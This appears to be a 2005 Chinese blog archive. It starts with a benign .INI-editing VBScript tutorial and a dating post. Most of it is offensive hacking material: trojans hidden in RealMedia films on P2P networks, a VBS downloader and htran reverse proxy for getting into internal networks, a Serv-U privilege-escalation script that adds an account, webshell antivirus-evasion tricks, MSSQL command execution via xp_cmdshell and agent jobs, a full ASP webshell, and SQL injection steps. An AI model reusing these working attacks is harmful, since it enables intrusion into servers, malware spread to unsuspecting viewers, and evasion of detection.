2005年06月30日

在我们开始讨论如何编辑 .INI 文件之前,首先让我们看一个例子。这是 Adobe Reader  .INI 文件中的一节,不过大部分 .INI 文件看起来都是类似的:

1.    [OEM Install]

2.   DisplayWelcomeDlg=YES

3.   DisplayEULA=NO

4.   DisplayTypeOfInstallDlg=NO

5.   DisplaySelectDestDirDlg=YES

6.   DisplayCustomDlg=NO

7.   DisplayUserInfoDlg=NO

8.   DisplayConfirmRegDlg=NO

9.   DisplayStartCopyDlg=NO

10.  DisplayFinishDlg=NO

11.  DisplayFinalMessage=YES

12.  DisplayRebootDlg=YES

13.  ProgGroupName=

14.  DefaultDestDir=

15.  UserName=

16.  UserCompanyName=

17.  UserSerialNumber=



假定我们要对这个文件做两件事情:我们想把 DisplayWelcomeDlg 修改为“NO”,以及将 UserName 设置为“Ken Myer”。理想情况下,我们可以写一个脚本,简单地在文件中搜索 DisplayWelcomeDlg 并将它的值修改为“NO”,以及搜索“UserName”属性,将值设置为“Ken Myer”,最后保存所做的修改。可惜,FileSystemObject——我们需要用于读取和修改文本文件的技术——不具备这些功能。事实上,我们必须使用笨办法来编辑 .INI 文件。您可能现在对这一点还没有太多的认识,我希望在本专栏结束时您能理解我这句话的意思。

让我们看一个完整的脚本,然后再解释它具体是如何工作的:

1.    Const ForReading = 1

2.   Const ForWriting = 2

3.  

 

4.   Set objFSO = CreateObject("Scripting.FileSystemObject")

5.   Set objTextFile = objFSO.OpenTextFile("sample.ini", ForReading)

6.  

 

7.   Do Until objTextFile.AtEndOfStream

8.       strNextLine = objTextFile.Readline

9.  

 

10.      intLineFinder = InStr(strNextLine, "DisplayWelcomeDlg")

11.      If intLineFinder <> 0 Then

12.          strNextLine = "DisplayWelcomeDlg=NO"

13.      End If

14. 

 

15.      intLineFinder = InStr(strNextLine, "UserName")

16.      If intLineFinder <> 0 Then

17.          strNextLine = "UserName=Ken Myer"

18.      End If

19. 

 

20.      strNewFile = strNewFile & strNextLine & vbCrLf

21.  Loop

22. 

 

23.  objTextFile.Close

24. 

 

25.  Set objTextFile = objFSO.OpenTextFile("sample.ini", ForWriting)

26. 

 

27.  objTextFile.WriteLine strNewFile

28.  objTextFile.Close



我们首先定义了两个常量:ForReading  ForWriting。在读写 .INI 文件时需要用到这两个常量。需要注意的是,并没有一个被称作 ForEditing 的常量;这是因为 FileSystemObject 不允许我们同时读写一个文件。所以,我们必须打开文件,读取它的内容,然后必须关闭文件,然后为了写入内容而重新打开它。现在,我们可以保存我们所做的修改了。正如我们前面所说的,这并不是一种最巧妙的方法,但是它的确很管用。

在定义了两个常量之后,我们为了读取的目的而打开了.INI 文件(sample.ini)。然后,我们建立了一个 Do 循环,通过此循环逐行读入文件内容,知道没有任何东西可读为止(即 AtEdnOfStream 属性为 TRUE 的时候)。我们首先使用了 Readline 方法读入文件的第一行,并将该行保存在变量 strNextLine 中。

现在,有趣的事情开始了。如前所述,FileSystemObject 不允许您搜索文件;所以,我们必须逐行读入文件,然后逐个检查每一行,看看是否有需要的东西。这就是我们利用以下这行代码所做的事情:

1.    intLineFinder = InStr(strNextLine, "DisplayWelcomeDlg")


此代码使用了 InStr 方法检查变量 strNextLine 中是否存在字符串 DisplayWelcomeDlg(记住,该变量包含了我们刚才读入的 .INI 文件的行)。如果目标字符串存在,InStr 将返回字符串所在的位置。例如,假定 strNextLine 等于:

此代码使用了 InStr 方法检查变量 strNextLine 中是否存在字符串 DisplayWelcomeDlg(记住,该变量包含了我们刚才读入的 .INI 文件的行)。如果目标字符串存在,InStr 将返回字符串所在的位置。例如,假定 strNextLine 等于:

1.    xxxxxDisplayWelcomeDlgxxxxx



在这种情况下,InStr 将返回 6,因为我们的目标字符串从第 6 个位置开始(前面有 5  X,然后是 DisplayWelcomeDlg)。如果目标字符串不存在,InStr 返回 0

在我们读入 .INI 文件的第一行时,情况就是这样。因为文件的第一行是 [OEM Install],所以 InStr 返回 0。接着,我们跳过第一个 If-Then 语句,然后继续。我们接下来检查变量中是否存在 UserName 字符串。InStr 再一次返回 0,所以我们又跳过了第二个 If-Then 语句。

这就是我前面所说的使用笨办法来编辑文件的意思:我们检查文件的每一行,看看是否满足我们的每一个测试条件。假定我们还希望修改 DisplayUserInfoDlg 属性。那么,我们必须增加与上面两个条件类似的 第三个 测试条件:

1.    intLineFinder = InStr(strNextLine, "DisplayUserInfoDlg")



明白了吗?现在,我们检查的是 .INI 文件的第一行,它不是我们想要的行。所以,我们丢弃它并且继续?不,并不是这样。实际上,我们使用了以下代码:

1.    strNewFile = strNewFile & strNextLine & vbCrLf



这个代码在内存中构造了一个全新的 .INI 文件,将新文件存储在变量 strNewFile 中。在我们走过第一遍循环的时候,strNewFile 的值目前 strNewFile 中的所有内容(在第一趟循环时它的值为 nothing)加上 变量 strNextLine ([OEM Install]) 的内容 再加上 一个回车换行符 (vbCrLf)。换句话说,循环后的 strNewFile 看起来如下所示:

1.    [OEM Install]



很令人兴奋,不是吗?

现在,我们继续循环,读入文件的第二行(DisplayWelcomeDlg=YES)。让我们猜想一下:这一次,InStr 将找到目标字符串,变量 intLineFinder 将等于 1(因为 DisplayWelcomeDlg 从第一个字符开始)。因为 intLineFinder 不等于 0,我们现在进入了第一个 If-Then 语句块。在这个部分中,我们简单地将 strNewLine 的值修改为:

1.    strNextLine = "DisplayWelcomeDlg=NO"



现在,我们的变量包含的不是我们从 .INI 文件中读入的内容;而是经过修改的文本:

1.    DisplayWelcomeDlg=NO



换句话说,我们并没有真正编辑 DisplayWelcomeDlg 属性的值。我们只是简单地用新的行替换了老的行。但是,最终的结果并没有什么不同,就如同我们能够直接编辑属性的值一样。

当我们到达循环末尾的时候,变量 strNewFile 的值将等于:

1.    [OEM Install] DisplayWelcomeDlg=NO



让我们看看为何会如此?我们不断逐行读入 .INI 文件,同时不断逐行构造变量 strNewFile。在脚本运行完毕后,strNewFile 将包含以下数据:

1.    [OEM Install]

2.   DisplayWelcomeDlg=NO

3.   DisplayEULA=NO

4.   DisplayTypeOfInstallDlg=NO

5.   DisplaySelectDestDirDlg=YES

6.   DisplayCustomDlg=NO

7.   DisplayUserInfoDlg=NO

8.   DisplayConfirmRegDlg=NO

9.   DisplayStartCopyDlg=NO

10.  DisplayFinishDlg=NO

11.  DisplayFinalMessage=YES

12.  DisplayRebootDlg=YES

13.  ProgGroupName=

14.  DefaultDestDir=

15.  UserName=Ken Myer

16.  UserCompanyName=

17.  UserSerialNumber=



是的,这就是我们想要的最后修改完成的 .INI 文件。

我们正在按着正确的轨道前进。接下来,我们关闭 sample.ini 文件,再立即为了写入数据而打开它(方法很愚蠢,但是我们只能这么做)。我们只需使用一行代码,用保存在变量 strNewFile 中的内容替换 sample.ini 中的所有现有内容:

1.    objTextFile.WriteLine strNewFile



当我们在此关闭该文件后,数据便被保存,我们成功地修改了 .INI 文件。

现在,我们不敢吹嘘说这是我们所写过的最酷的代码;它也的确不是这样的代码。而且可能对于某些 .INI 文件并不能使用这种方法。但是,事实是:它可能是您能够采用的最好方法,至少利用操作系统内置的工具就可以达到我们的目的。

2005年06月26日

先申明:这个是在网上翻到的,不是我发现的~

任务栏右健——任务管理器:系统先在c:\winnt (c:\windows)目录下查找taskmgr.exe,有的话,直接运行程序(默认没有)。没有的话,打开c:\winnt\system32\taskmgr.exe

ctrl+alt+del调出任务管理器:直接打开c:\winnt\system32\taskmgr.exe

原因估计:可能是搜索路径不一样吧~

利用:在c:\winnt下将木马改名为taskmgr.exe,当然之前最好利用木马文件中的一些多于空间,写上调用c:\winnt\system32\taskmgr.exe的东西!

评价:个人认为利用的价值不大,应该很少有人任务栏右健打开任务管理器吧?即使是这样打开的,任务管理器中也会有两个taskmgr.exe,太容易发现了(无进程的木马没有问题,但是这样的木马实在没有必要这样做吧?)!但是呢,在极少数情况下,它可以用来提权的~不过成功率,估计比那个添加系统账号的asp脚本好不了多少~

2005年06月22日

大学生找情侣有三种原因:

第一,无聊,只是为了消遣而在一起的,也是为了一起度过数年丰富大学生活,毕竟孤单一个人而看着其他人成双成对的,这滋味可不好受

第二种就是欲望,大学生都是成年人,而大学的相对开放很容易让他们放纵自己,搞一夜情的,甚至发展成情人等的也不少,这种现象在物欲横流的大城市里犹为普遍!高中生也不少,哎,我就看到很多男生把女生带到寝室里乱搞!


 第三种就是真心交往了,呵呵!彼此一见钟情,再见倾心的,或者日久生情等等都让他们相伴在一起,说实话,我还真羡慕他们。这种感情最能经受的起考验的。所以我宁愿抱着宁缺勿烂的想法等着另一个人出现。

2005年06月18日

并不神奇的Real影片木马


文章作者:intruder
信息来源:邪恶八进制 中国

如转载请注明出处

  在P2P软件里,很多的Real影片都是危险的,这只是一个小技巧,辅助的一种入侵方式,但这种方法很有效果,比如在著名的A片交流软件PP点点通里,我放了一个这样的小木马,两天就有200个肉鸡,并且呈几何状增长.大家别做坏事。

  使用Helix Producer Plus 9的rmevents.exe来修改影片的剪辑信息,可以在指定时间打开指定的窗口.
  新建一个文本文件rmevents.txt.
  输入:
u 00:01:00.0 00:01:30.0 http://www.muma.com.cn/muma.html
  我来解释一下,它意思是说在00:01:00.0 00:01:30.0这个时间范围内打开后面的URL,后面的URL就是我们的木马地址。
  输入rmevents -i 电影.rm -e rmevents.txt -o 电影1.rm 这个命令,生成的电影.rm就是我们的木马文件了。

  http://www.muma.com.cn/muma.html这个地址是你做好的网页木马的地址,不管是动鲨木马啊,还是EXE2BMP的木马,还是什么CHM木马,还是我崇拜的冰狐大哥的IFRAME溢出的网页木马都可以。主要是新,威力强。

  大家可以试一下。呵呵,intruder原创。本文允许转载,如转载请注明出处,谢谢。


  唉。看来公布这个的危害还是不小地,嘿嘿,就当替我们党打击色情业了。

  防御方法:一,最重要的一点,嘿嘿,别看不健康的东西,对身体不好哦。二,换别的播放器,我推荐梦幻鼎点播放器,贼好用啊。三,看片时用防火墙屏蔽RealPlayer对网络的访问,但这样做在线看的时候就没保险了。四,最最重要的一点,打完所有的IE补丁。五,如果不怕麻烦,在看影片之前我们可以执行我们做木马的那一步,只是把rmevents.txt的内容清空再做,这样就清空了影片的剪辑信息了。

  就这么点东西。文字里我老是嘿嘿呵呵的,别当我有精神病就行

妙用代理渗透内网


文章作者:LiNzi [BCT&混客联盟](chinaskyv@163.com
信息来源:邪恶八进制信息安全团队

正文
代理在入侵里的作用—–妙用代理,渗透内网
一、踩点
主机: http://www.baidu.com/
OS:Windows 2000 + IIS 5.0 + MSSQL
端口:80 21
数据库放内网,IP为 192.168.1.2 ,更重要的是内网数据库可以上网.
首页存在注入漏洞,sa登陆.
注入点:
http://www.baidu.com/list.asp?id=1
二、入侵思路
  1.给内网目标机装个代理服务器
  2.把弄好的那个代理端口映到公网.
  3.本机用sockscap连接公网映的那个端口,这样,自己也就进到了内网。
  4.接下来就是找共享,嗅探,社会工程学等等了。
三、入侵准备
  1.公网肉鸡一只:218.3.1.1
  2.工具:htran2.4,SocksCap,扫描器一份,NBSI 2.0一份。
  3.A表示数据库主机,B表示公网肉鸡 C表示网站放Web的地方 D表示本机(也在内网)
  4.A:192.168.1.2   B:218.3.1.1 C:www.baidu.com D:192.168.0.25
四、入侵进行时
  1.工具上传:
在nbsi下执行:
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >down.vbs
然后下载工具:
cscript down.vbs http://IP/htran.exe htran.exe //到我的空间下载htran.exe
  2.安装Socks5服务
在nbsi下执行:
htran.exe -install   //安装Socks5服务
htran.exe -start   //启动Socks5服务
  3.反弹进行时
在B上运行:   htran.exe -s -listen 520 5200   //监听端口
在nbsi下执行:htran.exe -s -connect 218.3.1.1 520
  3.进入内网
现在用SocksCap连接 218.3.1.1 的5200端口,就等于进入了他的内网。
五、渗透内网
  接下来就可以扫描,嗅探,等等,也就是后话了。
六、总结
  文章技术性不高,有错的地方希望高手指出,偶是菜鸟,也希望这篇文章对大家有所帮助。

偶的朋友可以在我的QQ硬盘里面下载动画。在我的个人文章里面。

2005年06月13日

网上php版的早就有了,一直等待asp版的出现,可惜没有,想一想不就一个mswinsock的调用嘛~,于是喊上crackme一起动手了。先直接用vbs写了最简单的代码,本机测试成功后,就开始移植到asp上去,可惜的是,原来asp不能用vbs中的sleep方法,他自己也不象php,php有自己的sleep()!到论坛请教了一些人,给了我一些asp中实现延时的笨笨的方法。延时的确可以实现,可惜放到mswinsock前,就是不能成功!郁闷了!

想一想,最近要考试了,没有时间研究,先贴在这儿,以后有时间来研究!各位大大有知道的,也指点一下~

asp中延时方法:

<%
Dim startTime ‘ 开始时间
Dim delayTime ‘ 延迟毫秒数
Dim i

startTime = Timer ‘返回午夜 12 时以后已经过去的秒数。
delayTime = 300

‘ 延迟
While (Timer – startTime) * 1000 < delayTime
Wend

‘ 延迟后的代码
Response.Write "执行时间: " & (Timer – startTime) * 1000 & "毫秒"
%>

vbs实现提权代码:

Dim revdata
Dim sendata
Set sock=createobject("MSWinsock.Winsock")
Sock.protocol=0
Sock.connect "127.0.0.1",43958
WScript.sleep 10
Sendata="USER LocalAdministrator"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="PASS #l@$ak#.lk;0@P"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="SITE MAINTENANCE"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-SETDOMAIN"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Domain=hhxx|0.0.0.0|222|-1|1|0 "& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-DynDNSEnable=0 "& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata=" DynIPName="& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-SETUSERSETUP"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-IP=0.0.0.0"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-PortNo=222"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-User=hhxxttxs"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Password=hhxxttxs"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-HomeDir=c:\"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Maintenance=System"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Ratios=None"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata=" Access=c:\|RWAMELCDP"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-GETUSERSETUP"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
sock.close

Set sock2=createobject("MSWinsock.Winsock")
Sock2.protocol=0
Sock2.connect "127.0.0.1",222
WScript.sleep 10
Sendata="USER hhxxttxs"& chr(10) &chr(13)
Sock2.senddata Sendata
WScript.sleep 10
Sendata="PASS hhxxttxs"& chr(10) &chr(13)
Sock2.senddata Sendata
WScript.sleep 10
Sendata="site exec net user aa aa /add" &chr(10) &chr(13)
Sock2.senddata Sendata
WScript.sleep 10
Sock2.close

2005年06月04日

脚本攻击在网络安全中永远是个“重头戏”,由此产生的各种攻击性脚本如vbs/js脚本,各种webshell 尤其是webshell是web入侵中必不可少的工具。现在的webshell版本繁多,功能越来越强,这也成为管理员防范和各大杀毒软件追杀的目标。

下面我以asp的webshell为例子简单说下脚本的变形思路:

1.classid的使用

aspshell里的常用的对象名往往是杀毒软件采用的特征码,管理员也可以通过修改注册表,来改变asp对象的名称,但是没个asp对象在系统里有个规定的classid(ps:classid在各个系统有所不同)那么我们就可以通过classid来建立对象,如我们通常建立fso对象是采用下面的语句:
Set hh=Server.CreateObject("Scripting.FileSystemObject") 那么通过查找“Scripting.FileSystemObject" 来查杀你的脚本,那么我们就可以通过fso对应的classid来建立:
<object runat=server id=hh scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
这样还有个好处就是即使管理员改fso的名字,也可以使用。

以下是常用对象对应的classid:

WSCRIPT.SHELL 72C24DD5-D70A-438B-8A42-98424B88AFB8
WSCRIPT.NETWORK 093FF999-1EA0-4079-9525-9614C3504B74
Scripting.FileSystemObject 0D43FE01-F093-11CF-8940-00A0C9054228
Scripting.Encoder 32DA2B15-CFED-11D1-B747-00C04FC2B085
Scripting.Dictionary EE09B103-97E0-11CF-978F-00A02463E06F
adodb.stream 00000566-0000-0010-8000-00AA006D2EA4
shell.application 13709620-C279-11CE-A49E-444553540000

2.使用+或&连接符的妙用

杀毒软件一般是提高提取特征码来查杀病毒的,所以asp对象名一般就成为了“特征码”了。我们就可以通过使用+或&来拆分对象名。如:
Set hh=Server.CreateObject("Scripting.FileSystemObject")
我们就可以提高下面的语句替换:

Set hh=Server.CreateObject("Scrip"+"ting.file"+"systemobject")

Set hh=Server.CreateObject("Scrip"&"ting.file"&"systemobject")

值得一提的是“思易ASP木马追捕”也是一个有asp编写的脚本,用来查杀webshell的,这个脚本先替换掉目标代码里的&在进行查找对象名,那上面简单的使用&就没用了,不过我们可以同过插入空变量来防杀:

Set hh=Server.CreateObject("Scrip"&"ting.file"&qsdsdsdf&"systemobject")

其中qsdsdsdf就为空变量,即使替换了所有的&,对象名还是有改变。

3.改变字母大小写(本文的重点所在)

其实要通过改变字母的大小写来改变特征码,大小写对应的asii或其他的编码也不同,这样我们可以到达防杀的目的。实现起来也简单,一个系统自带的“记事本”就可以搞定,不过这样要手工一个字母的去替换,你可以自己写个简单的程序帮助你处理,不过注意的问题是,有的代码里有密码加密的函数会受到影响,还有对shell里的htm代码有影响,建立在变形事,采用部分变形(改变大小写)。下面是我vb写的一个变形工具。

PS:程序只是替换了指定的几个字母,还有就是加入空变量(见2). 如果你编程够好的话,你可以写个程序可以随机改变大小写的,还有部分变形代码。

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接
能有哪些办法加一个系统管理员用户呢(或是执行系统命令)

1).XP_CMDSHELL ’cmd.exe /c net user aaa bbb /add’
人人都知道的办法,最大的好处是有回显,但是最怕

if exists (select * from  
dbo.sysobjects where id = object_id(N’[dbo].[xp_cmdshell]’) and  
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)
exec sp_dropextendedproc N’[dbo].[xp_cmdshell]’
GO

通过上面的T-SQL语句就可以把这个扩展储存删了

我们一般可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’  
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xpsql70.dll’

就还原了.

但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的

DROP PROCEDURE sp_addextendedproc
if exists (select * from  
dbo.sysobjects where id = object_id(N’[dbo].[xp_cmdshell]’) and  
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)
exec sp_dropextendedproc N’[dbo].[xp_cmdshell]’
GO  

还原:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO  

唉呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务打开就可以了

2)
看了上面的你就明白了xp_cmdshell最终是可以被删除的,没别的办法了吗?
有写注册表三:
xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’, ’czy82’,’REG_SZ’, net user czy bb /add

其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置
用写注册表的办法不好的地方是不但没有回显而且不能马上运行,实不实用我也不知道了:(

3)
declare @s  int
exec sp_oacreate "wscript.shell",@s out
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"
exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod,在它们的作用下我们可以
调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样
马上看到结果,真的不能吗看下面的:

declare @s  int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate "wscript.shell",@s out
exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1
exec sp_oamethod @f, "readall",@str out
print @str

先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用
fso来读出来!很实用的:)


——————————————
写到这儿该作个总结了上面三个办法可能大家都知道吧
下面的可能知道的人就少了:)
——————————————

4)
use msdb; –这儿不要是master哟
exec sp_add_job @job_name=’czy82’;
exec sp_add_jobstep @job_name=’czy82’,@step_name = ’Exec my sql’,@subsystem=’CMDEXEC’,@command=’dir c:\>c:\b.txt’;
exec sp_add_jobserver @job_name = ’czy82’,@server_name = ’smscomputer’;
exec sp_start_job @job_name=’czy82’;

利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
执行tsql语句了.
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
                        第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
                        net start SQLSERVERAGENT

对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = ’GetSystemOnSQL’,
@enabled = 1,
@description = ’This will give a low privileged user access to
xp_cmdshell’,
@delete_level = 1
EXEC sp_add_jobstep @job_name = ’GetSystemOnSQL’,
@step_name = ’Exec my sql’,
@subsystem = ’TSQL’,
@command = ’exec master..xp_execresultset N’’select ’’’’exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"’’’’’’,N’’Master’’’
EXEC sp_add_jobserver @job_name = ’GetSystemOnSQL’,
@server_name = ’你的SQL的服务器名’
EXEC sp_start_job @job_name = ’GetSystemOnSQL’

不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
才让我们可以以public执行xp_cmdshell


5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
在安焦有文章http://www.xfocus.net/vuln/vul_view.php?vul_id=2968

USE msdb
EXEC sp_add_job @job_name = ’ArbitraryFileCreate’,
@enabled = 1,
@description = ’This will create a file called c:\sqlafc123.txt’,
@delete_level = 1
EXEC sp_add_jobstep @job_name = ’ArbitraryFileCreate’,
@step_name = ’SQLAFC’,
@subsystem = ’TSQL’,
@command = ’select ’’hello, this file was created by the SQL Agent.’’’,
@output_file_name = ’c:\sqlafc123.txt’
EXEC sp_add_jobserver @job_name = ’ArbitraryFileCreate’,
@server_name = ’SERVER_NAME’
EXEC sp_start_job @job_name = ’ArbitraryFileCreate’  

如果subsystem选的是:tsql,在生成的文件的头部有如下内容

??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
———————————————-
hello, this file was created by the SQL Agent.

(1 ?????)

所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
命令的vbs文件到启动目录!

6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
  关于sp_MScopyscriptfile 看下面的例子
declare @command varchar(100)  
declare @scripfile varchar(200)  
set concat_null_yields_null off  
select @command=’dir c:\ > "\\attackerip\share\dir.txt"’  
select @scripfile=’c:\autoexec.bat > nul" | ’ + @command + ’ | rd "’  
exec sp_MScopyscriptfile @scripfile ,’’  

这两个东东都还在测试试哟

7)以PUBLIC用户的权限来得到一个WEB shell
exec sp_makewebtask @outputfile%3d’D:\WEB\chinamanagers\aacc.asp’,@charset%3dgb2312,@query%3d’select ’’<%25On Error Resume Next : Set oscript %3d Server.CreateObject("wscript.SHELL") : Set oscriptNet %3d Server.CreateObject("wscript.NETWORK") : Set oFileSys %3d Server.CreateObject("scripting.FileSystemObject") : szCMD %3d Request.Form(".CMD") : If (szCMD <>"")Then : szTempFile %3d "C:\" %26 oFileSys.GetTempName() : Call oscript.Run ("cmd.exe /c " %26 szCMD %26 " > " %26 szTempFile, 0, True) : Set oFile %3d oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %25> <HTML><BODY><FORM action%3d"<%25%3d Request.ServerVariables("URL")%25>" method%3d"POST"> <input type%3dtext name%3d".CMD" size%3d45 value%3d"<%25%3d szCMD %25>"><input type%3dsubmit value%3d"Run"> </FORM><PRE> <%25 If (IsObject(oFile))Then : On Error Resume Next : Response.Write Server.HTMLEncode(oFile.ReadAll) : oFile.Close : Call oFileSys.DeleteFile(szTempFile, True) : End If%25> </BODY></HTML> ’’’  

————————————————–
写了这么多好象不只是写如何执行程序了,反正就到这儿吧:)
————————————————–

czy 原创于 03.02.7  
  
2003-9-27 12:23 PM                    
  
  
succkey
Administrator



让MSSQL的public用户得到一个本机的web shell:)

sp_makewebtask @outputfile=’d:\sms\a.asp’,@charset=gb2312,
–@query=’select ’’<img src=vbscript:msgbox(now())>’’’
–@query=’select ’’<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>’’ ’
@query=’select ’’
<%On Error Resume Next  
Set oscript = Server.CreateObject("wscript.SHELL")  
Set oscriptNet = Server.CreateObject("wscript.NETWORK")  
Set oFileSys = Server.CreateObject("scripting.FileSystemObject")  
szCMD = Request.Form(".CMD")  
If (szCMD <>"")Then  
szTempFile = "C:\" & oFileSys.GetTempName()  
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)  
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)  
End If %>  
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="POST">  
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">  
</FORM><PRE>  
<% If (IsObject(oFile))Then  
On Error Resume Next  
Response.Write Server.HTMLEncode(oFile.ReadAll)  
oFile.Close  
Call oFileSys.DeleteFile(szTempFile, True)  
End If%>  
</BODY></HTML> ’’’  
  
SQL关键篇  
第一步:建立一个名为cyfd的表,并且添加的类型是char,长度为255的字段名gyfd。  
script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));  
第二步: 从注册表中读出WEB绝对路径再把路径插入到刚建的表中,然后报出webshell的路径。  
script.asp?id=2;DECLARE @result varchar(255) exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’ ,@result output insert into cyfd (gyfd) values(@result);–  
第三步:出错后,IE返回错误,我们得到WEB绝对路径“……”。  
scrip.asp?id=2 and 1=(select count(*) from cyfd where gyfd >1)  
下面就用MSSQL WEB SHELL这个工具了。上传ASP木马。输入远程木马绝对路径。  
第四步:删除刚才建的表。  
script.asp?id=2;drop table cyfd:–  
第五步:恢复XP_cmdshell,向系统权限进军。  
script.asp?id=2;EXEC master.dbo.sp_addexttendedproc ’xp_cmdshell’, ’xplog70.dll的路径’  
第六步:检查恢复情况。  
script.asp?id=2 and 1=(SELECT count(*) FORM  master.dbo.sysobjects where xtype = ’x’ and name =’xp_cmdshell’)  
第七步:提升权限。  
script.asp?id=2;exec master.dbo.xp_cmdshell ’net user tsgxyy testtest /add’  
—————————————————————————————————–
陷是否存在呢?
首先先加入某些特殊的字符标记,输入如:
hi’ or 1=1–
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi’ or 1=1–
- Pass: hi’ or 1=1–
- http://duck/index.asp?id=hi’ or 1=1–
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分
的值,如:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi’ or 1=1–">
</FORM>
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是’ or 1=1–呢?
让我们来看看其他例子中使用’or 1=1–的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能
可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,’category’是一个变量名,而’food’是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于’v_cat’,也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory=’food’
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是’food’了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food’ or 1=1–
现在我们的变量v_cat的值就等同于"food’ or 1=1–"了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
SELECT * FROM product WHERE PCategory=’food’ or 1=1–’
